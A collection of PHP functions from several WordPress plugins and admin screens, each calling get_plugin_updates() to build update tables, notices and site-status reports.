/** * Prepares the list of items for displaying. * * @access public * @since 4.X.0 * @uses WP_List_Table::set_pagination_args() */ public function prepare_items() { global $wp_version; $this->cur_wp_version = preg_replace('/-.*$/', '', $wp_version); $core_updates = (array) get_core_updates(); $plugins = (array) get_plugin_updates(); $themes = (array) get_theme_updates(); $translations = (array) wp_get_translation_updates(); if (!empty($core_updates)) { $this->items[] = array('type' => 'core', 'slug' => 'core', 'data' => $core_updates); } foreach ($plugins as $plugin_file => $plugin_data) { $this->items[] = array('type' => 'plugin', 'slug' => $plugin_file, 'data' => $plugin_data); } foreach ($themes as $stylesheet => $theme) { $this->items[] = array('type' => 'theme', 'slug' => $stylesheet, 'data' => $theme); } if (!empty($translations)) { $this->items[] = array('type' => 'translations', 'slug' => 'translations', 'data' => $translations); } if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $this->cur_wp_version, '=')) { $this->core_update_version = false; } else { $this->core_update_version = $core_updates[0]->current; } if ($this->core_update_version || !empty($plugins) || !empty($themes) || !empty($translations)) { $this->has_available_updates = true; } $columns = $this->get_columns(); $hidden = array(); $sortable = $this->get_sortable_columns(); $this->_column_headers = array($columns, $hidden, $sortable); $this->set_pagination_args(array('total_items' => count($this->items), 'per_page' => count($this->items), 'total_pages' => 1)); }
public function run() { if (!function_exists('get_plugins')) { require_once \WP_CLI::get_config('path') . '/wp-admin/includes/plugin.php'; } $all_plugins = get_plugins(); $update = get_plugin_updates(); $report = array(); foreach ($all_plugins as $plugin_path => $data) { $slug = $plugin_path; if (stripos($plugin_path, '/')) { $slug = substr($plugin_path, 0, stripos($plugin_path, '/')); } $vulnerable = $this->is_vulnerable($slug, $data['Version']); $needs_update = 0; $available = '-'; if (isset($update[$plugin_path])) { $needs_update = 1; $available = $update[$plugin_path]->update->new_version; } if (false === $vulnerable) { $vulnerable = "None"; } else { $vulnerable = sprintf('<a href="https://wpvulndb.com/plugins/%s" target="_blank" >more info</a>', $slug); } $report[$slug] = array('slug' => $slug, 'installed' => (string) $data['Version'], 'available' => (string) $available, 'needs_update' => (string) $needs_update, 'vulnerable' => $vulnerable); } $this->alerts = $report; }
function ubermenu_updater_check_download_notice() { global $pagenow; if ($pagenow == 'update-core.php') { if (!UBERMENU_AUTO_UPDATES) { //echo 'no ups'; $plugin_updates = get_plugin_updates(); //uberp( $plugin_updates , 3 ); if (isset($plugin_updates['ubermenu/ubermenu.php'])) { ?> <div class="notice notice-warning"> <p><strong>UberMenu</strong> automatic updates are in beta. To test them out, please see <a target="_blank" href="http://sevenspark.com/docs/ubermenu-3/updates/automatic">Automatic Updates</a>. Make sure to run a backup first!</p> </div> <?php } } else { $plugin_updates = get_plugin_updates(); //uberp( $plugin_updates , 3 ); if (isset($plugin_updates['ubermenu/ubermenu.php'])) { ?> <div class="notice notice-success"> <p><strong>UberMenu</strong> Automatic Update Beta Testing has been activated. <a target="_blank" href="http://sevenspark.com/docs/ubermenu-3/updates/automatic">Make sure to run a backup first to be safe!</a></p> </div> <?php } } } }
public function change_details_url() { global $change_details_plugin_url_script, $pagenow; $plugins = get_plugin_updates(); if (!$change_details_plugin_url_script && in_array($pagenow, array('update-core.php', 'plugins.php')) && !empty($plugins)) { $plugins_string = ''; foreach ($plugins as $plugin_key => $plugin_value) { if (strpos($plugin_key, 'cherry-') !== false) { $plugins_string .= '"' . $plugin_value->update->slug . '" : "' . $plugin_value->update->url . '", '; } } ?> <script> ( function( $ ){ var plugin_updates = {<?php echo $plugins_string; ?> }; for ( var plugin in plugin_updates ) { $('[href*="' + plugin + '"].thickbox').removeClass('thickbox').attr( {'href': plugin_updates[plugin], 'target' : "_blank" } ); }; }( jQuery ) ) </script> <?php } $change_details_plugin_url_script = true; }
function check_plugins() { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugins = get_plugin_updates(); if (!empty($plugins)) { foreach ((array) $plugins as $plugin_file => $plugin_data) { plugins_api('plugin_information', array('slug' => $plugin_data->update->slug)); } WP_CLI::success('Plugin updates refreshed.'); } else { WP_CLI::log('All plugins are up to date.'); } }
function header() { echo '<div class="wrap">'; screen_icon(); echo '<h2>' . __('WP E-Commerce To WooCommerce Converter', 'woo_wpec') . '</h2>'; $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if (isset($updates[$basename])) { $update = $updates[$basename]; echo '<div class="error"><p><strong>'; printf(__('A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'woo_wpec'), $update->update->new_version); echo '</strong></p></div>'; } }
public function wp_oracle_get_plugin_updates() { if (!function_exists('get_plugin_updates')) { require_once ABSPATH . 'wp-admin/includes/update.php'; } // force refresh wp_update_plugins(); $updates = get_plugin_updates(); if (empty($updates)) { return array('blog' => array('plugins' => 'no_updates')); } else { return $updates; } }
/** * Show an update notice in the importer header. */ public function show_updates_in_header() { // Check for updates too. $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if (empty($updates[$basename])) { return; } $message = sprintf(esc_html__('A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer'), $updates[$basename]->update->new_version); $args = array('action' => 'upgrade-plugin', 'plugin' => $basename); $url = add_query_arg($args, self_admin_url('update.php')); $url = wp_nonce_url($url, 'upgrade-plugin_' . $basename); $link = sprintf('<a href="%s" class="button">%s</a>', $url, esc_html__('Update Now', 'wordpress-importer')); printf('<div class="error"><p>%s</p><p>%s</p></div>', $message, $link); }
function layerslider_update_notice() { if (get_option('layerslider-authorized-site', false)) { // Get plugin updates $updates = get_plugin_updates(); // Check for update if (isset($updates[LS_PLUGIN_BASE]) && isset($updates[LS_PLUGIN_BASE]->update)) { $update = $updates[LS_PLUGIN_BASE]; add_thickbox(); ?> <div class="layerslider_notice"> <img src="<?php echo LS_ROOT_URL . '/static/img/ls_80x80.png'; ?> " alt="LayerSlider icon"> <h1><?php _e('An update is available for LayerSlider WP!', 'LayerSlider'); ?> </h1> <p> <?php echo sprintf(__('You have version %1$s. Update to version %2$s.', 'LayerSlider'), $update->Version, $update->update->new_version); ?> <br> <i><?php echo $update->update->upgrade_notice; ?> </i> <a href="<?php echo wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . LS_PLUGIN_BASE), 'upgrade-plugin_' . LS_PLUGIN_BASE); ?> " class="button button-primary button-hero" title="<?php _e('Install now', 'LayerSlider'); ?> "> <?php _e('Install now', 'LayerSlider'); ?> </a> </p> <div class="clear"></div> </div> <?php } } }
public static function cart66_add_dashboard_widgets() { if (Cart66Common::cart66UserCan('orders')) { wp_add_dashboard_widget('cart66_recent_orders_widget', __('Cart66 Recent Orders', 'cart66'), array('Cart66Dashboard', 'cart66_recent_orders_widget'), array('Cart66Dashboard', 'cart66_recent_orders_setup')); } if (Cart66Common::cart66UserCan('reports')) { wp_add_dashboard_widget('cart66_statistics_widget', __('Cart66 Statistics', 'cart66'), array('Cart66Dashboard', 'cart66_statistics_widget')); } global $wp_meta_boxes; $normal_dashboard = $wp_meta_boxes['dashboard']['normal']['core']; $cart66_recent_orders_widget_backup = array(); $cart66_statistics_widget_backup = array(); if (Cart66Common::cart66UserCan('orders')) { $cart66_recent_orders_widget_backup = array('cart66_recent_orders_widget' => $normal_dashboard['cart66_recent_orders_widget']); unset($normal_dashboard['cart66_recent_orders_widget']); } if (Cart66Common::cart66UserCan('reports')) { $cart66_statistics_widget_backup = array('cart66_statistics_widget' => $normal_dashboard['cart66_statistics_widget']); unset($normal_dashboard['cart66_statistics_widget']); } $sorted_dashboard = array_merge($cart66_recent_orders_widget_backup, $cart66_statistics_widget_backup, $normal_dashboard); $wp_meta_boxes['dashboard']['normal']['core'] = $sorted_dashboard; if (CART66_PRO) { $updater = new Cart66ProCommon(); $newVersion = get_transient('_cart66_version_request'); if (!$newVersion) { $newVersion = $updater->getVersionInfo(); set_transient('_cart66_version_request', $newVersion, 43200); } $dismissVersion = Cart66Setting::getValue('dismiss_version'); $currentVersion = Cart66Setting::getValue('version'); if (version_compare($currentVersion, $newVersion['version'], '<') && version_compare($newVersion['version'], $dismissVersion, '>')) { if (current_user_can('update_plugins')) { $plugins = get_plugin_updates(); if (isset($plugins[basename(CART66_PATH) . '/cart66.php'])) { add_action('admin_footer', array('Cart66Dashboard', 'cart66_upgrade_message_jquery')); add_action('admin_notices', array('Cart66Dashboard', 'cart66_upgrade_message')); } } } } }
function layerslider_update_notice() { // Get plugin updates $updates = get_plugin_updates(); // Check for update if (isset($updates[LS_PLUGIN_BASE]) && isset($updates[LS_PLUGIN_BASE]->update)) { $update = $updates[LS_PLUGIN_BASE]; add_thickbox(); ?> <div class="layerslider_notice"> <img src="<?php echo LS_ROOT_URL . '/static/img/ls_80x80.png'; ?> " alt="LayerSlider icon"> <h1><?php _e('An update is available for LayerSlider WP!', 'LayerSlider'); ?> </h1> <p> <?php echo sprintf(__('You have version %1$s. Update to version %2$s.', 'LayerSlider'), $update->Version, $update->update->new_version); ?> <br> <i><?php echo $update->update->upgrade_notice; ?> </i> <a href="plugin-install.php?tab=plugin-information&plugin=LayerSlider§ion=changelog&TB_iframe=true&width=640&height=747" class="thickbox"> <?php _e('Review changes & Install', 'LayerSlider'); ?> </a> </p> <div class="clear"></div> </div> <?php } }
function list_plugin_updates() { global $wp_version; $cur_wp_version = preg_replace('/-.*$/', '', $wp_version); require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugins = get_plugin_updates(); if (empty($plugins)) { echo '<h3>' . __('Plugins') . '</h3>'; echo '<p>' . __('Your plugins are all up to date.') . '</p>'; return; } $form_action = 'update-core.php?action=do-plugin-upgrade'; $core_updates = get_core_updates(); if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) { $core_update_version = false; } else { $core_update_version = $core_updates[0]->current; } ?> <h3><?php _e('Plugins'); ?> </h3> <p><?php _e('The following plugins have new versions available. Check the ones you want to update and then click “Update Plugins”.'); ?> </p> <form method="post" action="<?php echo $form_action; ?> " name="upgrade-plugins" class="upgrade"> <?php wp_nonce_field('upgrade-core'); ?> <p><input id="upgrade-plugins" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?> " name="upgrade" /></p> <table class="widefat" cellspacing="0" id="update-plugins-table"> <thead> <tr> <th scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></th> <th scope="col" class="manage-column"><label for="plugins-select-all"><?php _e('Select All'); ?> </label></th> </tr> </thead> <tfoot> <tr> <th scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></th> <th scope="col" class="manage-column"><label for="plugins-select-all-2"><?php _e('Select All'); ?> </label></th> </tr> </tfoot> <tbody class="plugins"> <?php foreach ((array) $plugins as $plugin_file => $plugin_data) { $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug)); // Get plugin compat for running version of WordPress. if (isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=')) { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version); } elseif (isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version])) { $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version]; $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]); } else { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version); } // Get plugin compat for updated version of WordPress. if ($core_update_version) { if (isset($info->compatibility[$core_update_version][$plugin_data->update->new_version])) { $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version]; $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]); } else { $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version); } } // Get the upgrade notice for the new plugin version. if (isset($plugin_data->update->upgrade_notice)) { $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice); } else { $upgrade_notice = ''; } echo "\r\n\t<tr class='active'>\r\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>\r\n\t\t<td class='plugin-title'><strong>{$plugin_data->Name}</strong>" . sprintf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . $compat . $upgrade_notice . "</td>\r\n\t</tr>"; } ?> </tbody> </table> <p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?> " name="upgrade" /></p> </form> <?php }
function getSiteStats($information = array(), $exit = true) { global $wp_version; if ($exit) { $this->updateExternalSettings(); } MainWP_Helper::update_option('mainwp_child_branding_disconnected', '', 'yes'); if (isset($_POST['server'])) { MainWP_Helper::update_option('mainwp_child_server', $_POST['server']); } if (isset($_POST['numberdaysOutdatePluginTheme']) && !empty($_POST['numberdaysOutdatePluginTheme'])) { $days_outdate = get_option('mainwp_child_plugintheme_days_outdate', 365); if ($days_outdate !== $_POST['numberdaysOutdatePluginTheme']) { $days_outdate = $_POST['numberdaysOutdatePluginTheme']; MainWP_Helper::update_option('mainwp_child_plugintheme_days_outdate', $days_outdate); MainWP_Child_Plugins_Check::Instance()->cleanup_deactivation(false); MainWP_Child_Themes_Check::Instance()->cleanup_deactivation(false); } } $information['version'] = self::$version; $information['wpversion'] = $wp_version; $information['siteurl'] = get_option('siteurl'); $information['nossl'] = '1' === get_option('mainwp_child_nossl') ? 1 : 0; include_once ABSPATH . '/wp-admin/includes/update.php'; $timeout = 3 * 60 * 60; // 3minutes @set_time_limit($timeout); @ini_set('max_execution_time', $timeout); //Check for new versions if (null !== $this->filterFunction) { add_filter('pre_site_transient_update_core', $this->filterFunction, 99); } if (null !== $this->filterFunction) { add_filter('pre_transient_update_core', $this->filterFunction, 99); } @wp_version_check(); $core_updates = get_core_updates(); if (count($core_updates) > 0) { foreach ($core_updates as $core_update) { if ('latest' === $core_update->response) { break; } if ('upgrade' === $core_update->response && version_compare($wp_version, $core_update->current, '<=')) { $information['wp_updates'] = $core_update->current; } } } if (!isset($information['wp_updates'])) { $information['wp_updates'] = null; } if (null !== $this->filterFunction) { remove_filter('pre_site_transient_update_core', $this->filterFunction, 99); } if (null !== $this->filterFunction) { remove_filter('pre_transient_update_core', $this->filterFunction, 99); } add_filter('default_option_active_plugins', array(&$this, 'default_option_active_plugins')); add_filter('option_active_plugins', array(&$this, 'default_option_active_plugins')); //First check for new premium updates $update_check = apply_filters('mwp_premium_update_check', array()); if (!empty($update_check)) { foreach ($update_check as $updateFeedback) { if (is_array($updateFeedback['callback']) && isset($updateFeedback['callback'][0]) && isset($updateFeedback['callback'][1])) { @call_user_func(array($updateFeedback['callback'][0], $updateFeedback['callback'][1])); } else { if (is_string($updateFeedback['callback'])) { @call_user_func($updateFeedback['callback']); } } } } $informationPremiumUpdates = apply_filters('mwp_premium_update_notification', array()); $premiumPlugins = array(); $premiumThemes = array(); if (is_array($informationPremiumUpdates)) { $premiumUpdates = array(); $information['premium_updates'] = array(); $informationPremiumUpdatesLength = count($informationPremiumUpdates); for ($i = 0; $i < $informationPremiumUpdatesLength; $i++) { if (!isset($informationPremiumUpdates[$i]['new_version'])) { continue; } $slug = isset($informationPremiumUpdates[$i]['slug']) ? $informationPremiumUpdates[$i]['slug'] : $informationPremiumUpdates[$i]['Name']; if ('plugin' === $informationPremiumUpdates[$i]['type']) { $premiumPlugins[] = $slug; } else { if ('theme' === $informationPremiumUpdates[$i]['type']) { $premiumThemes[] = $slug; } } $new_version = $informationPremiumUpdates[$i]['new_version']; unset($informationPremiumUpdates[$i]['old_version']); unset($informationPremiumUpdates[$i]['new_version']); $information['premium_updates'][$slug] = $informationPremiumUpdates[$i]; $information['premium_updates'][$slug]['update'] = (object) array('new_version' => $new_version, 'premium' => true, 'slug' => $slug); if (!in_array($slug, $premiumUpdates)) { $premiumUpdates[] = $slug; } } MainWP_Helper::update_option('mainwp_premium_updates', $premiumUpdates); } remove_filter('default_option_active_plugins', array(&$this, 'default_option_active_plugins')); remove_filter('option_active_plugins', array(&$this, 'default_option_active_plugins')); if (null !== $this->filterFunction) { add_filter('pre_site_transient_update_plugins', $this->filterFunction, 99); } global $wp_current_filter; $wp_current_filter[] = 'load-plugins.php'; @wp_update_plugins(); include_once ABSPATH . '/wp-admin/includes/plugin.php'; $plugin_updates = get_plugin_updates(); if (is_array($plugin_updates)) { $information['plugin_updates'] = array(); foreach ($plugin_updates as $slug => $plugin_update) { if (in_array($plugin_update->Name, $premiumPlugins)) { continue; } $information['plugin_updates'][$slug] = $plugin_update; } } if (null !== $this->filterFunction) { remove_filter('pre_site_transient_update_plugins', $this->filterFunction, 99); } if (null !== $this->filterFunction) { add_filter('pre_site_transient_update_themes', $this->filterFunction, 99); } @wp_update_themes(); include_once ABSPATH . '/wp-admin/includes/theme.php'; $theme_updates = $this->upgrade_get_theme_updates(); if (is_array($theme_updates)) { $information['theme_updates'] = array(); foreach ($theme_updates as $slug => $theme_update) { $name = is_array($theme_update) ? $theme_update['Name'] : $theme_update->Name; if (in_array($name, $premiumThemes)) { continue; } $information['theme_updates'][$slug] = $theme_update; } } if (null !== $this->filterFunction) { remove_filter('pre_site_transient_update_themes', $this->filterFunction, 99); } $information['recent_comments'] = $this->get_recent_comments(array('approve', 'hold'), 5); $information['recent_posts'] = $this->get_recent_posts(array('publish', 'draft', 'pending', 'trash'), 5); $information['recent_pages'] = $this->get_recent_posts(array('publish', 'draft', 'pending', 'trash'), 5, 'page'); $securityIssuess = 0; if (!MainWP_Security::prevent_listing_ok()) { $securityIssuess++; } if (!MainWP_Security::remove_wp_version_ok()) { $securityIssuess++; } if (!MainWP_Security::remove_rsd_ok()) { $securityIssuess++; } if (!MainWP_Security::remove_wlw_ok()) { $securityIssuess++; } // if (!MainWP_Security::remove_core_update_ok()) $securityIssuess++; // if (!MainWP_Security::remove_plugin_update_ok()) $securityIssuess++; // if (!MainWP_Security::remove_theme_update_ok()) $securityIssuess++; // if (!MainWP_Security::fix_file_permissions_ok()) $securityIssuess++; if (!MainWP_Security::remove_database_reporting_ok()) { $securityIssuess++; } if (!MainWP_Security::remove_php_reporting_ok()) { $securityIssuess++; } if (!MainWP_Security::remove_scripts_version_ok() || !MainWP_Security::remove_styles_version_ok()) { $securityIssuess++; } if (!MainWP_Security::admin_user_ok()) { $securityIssuess++; } if (!MainWP_Security::remove_readme_ok()) { $securityIssuess++; } $information['securityIssues'] = $securityIssuess; //Directory listings! $information['directories'] = $this->scanDir(ABSPATH, 3); $cats = get_categories(array('hide_empty' => 0, 'hierarchical' => true)); $categories = array(); foreach ($cats as $cat) { $categories[] = $cat->name; } $information['categories'] = $categories; $information['totalsize'] = $this->getTotalFileSize(); $information['dbsize'] = MainWP_Child_DB::get_size(); $auths = get_option('mainwp_child_auth'); $information['extauth'] = $auths && isset($auths[$this->maxHistory]) ? $auths[$this->maxHistory] : null; $plugins = $this->get_all_plugins_int(false); $themes = $this->get_all_themes_int(false); $information['plugins'] = $plugins; $information['themes'] = $themes; if (isset($_POST['optimize']) && '1' === $_POST['optimize']) { $information['users'] = $this->get_all_users_int(); } if (isset($_POST['pluginConflicts']) && '' !== $_POST['pluginConflicts']) { $pluginConflicts = json_decode(stripslashes($_POST['pluginConflicts']), true); $conflicts = array(); if (count($pluginConflicts) > 0) { if (!$plugins) { $plugins = $this->get_all_plugins_int(false); } if (is_array($plugins) && is_array($pluginConflicts)) { foreach ($plugins as $plugin) { foreach ($pluginConflicts as $pluginConflict) { if ('1' === $plugin['active'] && ($plugin['name'] === $pluginConflict || $plugin['slug'] === $pluginConflict)) { $conflicts[] = $plugin['name']; } } } } } if (count($conflicts) > 0) { $information['pluginConflicts'] = $conflicts; } } if (isset($_POST['themeConflicts']) && '' !== $_POST['themeConflicts']) { $themeConflicts = json_decode(stripslashes($_POST['themeConflicts']), true); $conflicts = array(); if (is_array($themeConflicts) && count($themeConflicts) > 0) { $theme = wp_get_theme()->get('Name'); foreach ($themeConflicts as $themeConflict) { if ($theme === $themeConflict) { $conflicts[] = $theme; } } } if (count($conflicts) > 0) { $information['themeConflicts'] = $conflicts; } } if (isset($_POST['othersData'])) { $othersData = json_decode(stripslashes($_POST['othersData']), true); if (!is_array($othersData)) { $othersData = array(); } $information = apply_filters('mainwp-site-sync-others-data', $information, $othersData); if (version_compare(phpversion(), '5.3', '>=')) { if (isset($othersData['syncBackUpWordPress']) && $othersData['syncBackUpWordPress']) { if (MainWP_Child_Back_Up_Wordpress::isActivated()) { $information['syncBackUpWordPress'] = MainWP_Child_Back_Up_Wordpress::Instance()->syncData(); } } } if (isset($othersData['syncWPRocketData']) && 'yes' === $othersData['syncWPRocketData']) { $data = array(); if (MainWP_Child_WP_Rocket::isActivated()) { $boxes = get_user_meta($GLOBALS['current_user']->ID, 'rocket_boxes', true); $data['rocket_boxes'] = $boxes; } $information['syncWPRocketData'] = $data; } } $information['faviIcon'] = $this->get_favicon(); $last_post = wp_get_recent_posts(array('numberposts' => absint('1'))); if (isset($last_post[0])) { $last_post = $last_post[0]; } if (isset($last_post) && isset($last_post['post_modified_gmt'])) { $information['last_post_gmt'] = strtotime($last_post['post_modified_gmt']); } $information['mainwpdir'] = MainWP_Helper::validateMainWPDir() ? 1 : -1; $information['uniqueId'] = get_option('mainwp_child_uniqueId', ''); $information['plugins_outdate_info'] = MainWP_Child_Plugins_Check::Instance()->get_plugins_outdate_info(); $information['themes_outdate_info'] = MainWP_Child_Themes_Check::Instance()->get_themes_outdate_info(); if ($exit) { MainWP_Helper::write($information); } return $information; }
/** * Set the plugin version if not a registered plugin with options['installed_version'] set. * * @param $slug * @return string */ function set_plugin_version($slug) { $version = '00.00.001'; require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugins = get_plugin_updates(); foreach ((array) $plugins as $plugin_file => $plugin_data) { if ($plugin_data->update->slug === $slug) { $version = $plugin_data->Version; break; } } return $version; }
function header() { echo '<div class="wrap">'; global $wp_version; if (version_compare($wp_version, '3.8', '<')) { //sc reen_icon(); } echo '<h2>' . __('Import WordPress', 'wordpress-importer') . '</h2>'; $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if (isset($updates[$basename])) { $update = $updates[$basename]; echo '<div class="error"><p><strong>'; printf(__('A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer'), $update->update->new_version); echo '</strong></p></div>'; } }
protected function get_plugin_updates($plugin_file) { $plugin_updates = get_plugin_updates(); if (isset($plugin_updates[$plugin_file])) { return $plugin_updates[$plugin_file]->update; } return null; }
/** * Retrieve the information for the available updates. * * @return string HTML code for a table with the updates information. */ function sucuriscan_posthack_updates_content($send_email = false) { if (!function_exists('wp_update_plugins') || !function_exists('get_plugin_updates') || !function_exists('wp_update_themes') || !function_exists('get_theme_updates')) { return false; } $response = ''; $result = wp_update_plugins(); $updates = get_plugin_updates(); if (is_array($updates) && !empty($updates)) { $counter = 0; foreach ($updates as $data) { $css_class = $counter % 2 == 0 ? '' : 'alternate'; $params = array('Update.CssClass' => $css_class, 'Update.IconType' => 'plugins', 'Update.Extension' => SucuriScan::excerpt($data->Name, 35), 'Update.Version' => $data->Version, 'Update.NewVersion' => 'Unknown', 'Update.TestedWith' => 'Unknown', 'Update.ArchiveUrl' => 'Unknown', 'Update.MarketUrl' => 'Unknown'); if (property_exists($data->update, 'new_version')) { $params['Update.NewVersion'] = $data->update->new_version; } if (property_exists($data->update, 'tested')) { $params['Update.TestedWith'] = "WordPress " . $data->update->tested; } if (property_exists($data->update, 'package')) { $params['Update.ArchiveUrl'] = $data->update->package; } if (property_exists($data->update, 'url')) { $params['Update.MarketUrl'] = $data->update->url; } $response .= SucuriScanTemplate::getSnippet('posthack-updates', $params); $counter++; } } // Check for available theme updates. $result = wp_update_themes(); $updates = get_theme_updates(); if (is_array($updates) && !empty($updates)) { $counter = 0; foreach ($updates as $data) { $css_class = $counter % 2 == 0 ? '' : 'alternate'; $response .= SucuriScanTemplate::getSnippet('posthack-updates', array('Update.CssClass' => $css_class, 'Update.IconType' => 'appearance', 'Update.Extension' => SucuriScan::excerpt($data->Name, 35), 'Update.Version' => $data->Version, 'Update.NewVersion' => $data->update['new_version'], 'Update.TestedWith' => 'Newest WordPress', 'Update.ArchiveUrl' => $data->update['package'], 'Update.MarketUrl' => $data->update['url'])); $counter++; } } if (!is_string($response) || empty($response)) { return false; } // Send an email notification with the affected files. if ($send_email === true) { $params = array('AvailableUpdates.Content' => $response); $content = SucuriScanTemplate::getSection('posthack-updates-notification', $params); $sent = SucuriScanEvent::notify_event('available_updates', $content); return $sent; } return $response; }
function header() { echo '<div class="wrap">'; screen_icon(); //Welcome message echo '<h2 style="margin-left:20px;">' . __('Atelier Demo Content Importer', 'wordpress-importer') . '</h2>'; $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if (isset($updates[$basename])) { $update = $updates[$basename]; echo '<div class="error"><p><strong>'; printf(__('A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer'), $update->update->new_version); echo '</strong></p></div>'; } }
/** * * @global string $wp_version */ function list_plugin_updates() { global $wp_version; $cur_wp_version = preg_replace('/-.*$/', '', $wp_version); require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugins = get_plugin_updates(); if (empty($plugins)) { echo '<h2>' . __('Plugins') . '</h2>'; echo '<p>' . __('Your plugins are all up to date.') . '</p>'; return; } $form_action = 'update-core.php?action=do-plugin-upgrade'; $core_updates = get_core_updates(); if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) { $core_update_version = false; } else { $core_update_version = $core_updates[0]->current; } ?> <h2><?php _e('Plugins'); ?> </h2> <p><?php _e('The following plugins have new versions available. Check the ones you want to update and then click “Update Plugins”.'); ?> </p> <form method="post" action="<?php echo esc_url($form_action); ?> " name="upgrade-plugins" class="upgrade"> <?php wp_nonce_field('upgrade-core'); ?> <p><input id="upgrade-plugins" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?> " name="upgrade" /></p> <table class="widefat" id="update-plugins-table"> <thead> <tr> <td scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></td> <th scope="col" class="manage-column"><label for="plugins-select-all"><?php _e('Select All'); ?> </label></th> </tr> </thead> <tbody class="plugins"> <?php foreach ((array) $plugins as $plugin_file => $plugin_data) { $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug, 'fields' => array('short_description' => false, 'sections' => false, 'requires' => false, 'rating' => false, 'ratings' => false, 'downloaded' => false, 'downloadlink' => false, 'last_updated' => false, 'added' => false, 'tags' => false, 'homepage' => false, 'donate_link' => false))); if (is_wp_error($info)) { $info = false; } // Get plugin compat for running version of WordPress. if (isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=')) { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version); } elseif (isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version])) { $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version]; $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]); } else { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version); } // Get plugin compat for updated version of WordPress. if ($core_update_version) { if (isset($info->tested) && version_compare($info->tested, $core_update_version, '>=')) { $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $core_update_version); } elseif (isset($info->compatibility[$core_update_version][$plugin_data->update->new_version])) { $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version]; $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]); } else { $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version); } } // Get the upgrade notice for the new plugin version. if (isset($plugin_data->update->upgrade_notice)) { $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice); } else { $upgrade_notice = ''; } $details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '§ion=changelog&TB_iframe=true&width=640&height=662'); $details_text = sprintf(__('View version %1$s details.'), $plugin_data->update->new_version); $details = sprintf('<a href="%1$s" class="thickbox" title="%2$s">%3$s</a>', esc_url($details_url), esc_attr($plugin_data->Name), $details_text); echo "\n\t<tr>\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>\n\t\t<td><p><strong>{$plugin_data->Name}</strong><br />" . sprintf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . ' ' . $details . $compat . $upgrade_notice . "</p></td>\n\t</tr>"; } ?> </tbody> <tfoot> <tr> <td scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></td> <th scope="col" class="manage-column"><label for="plugins-select-all-2"><?php _e('Select All'); ?> </label></th> </tr> </tfoot> </table> <p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?> " name="upgrade" /></p> </form> <?php }
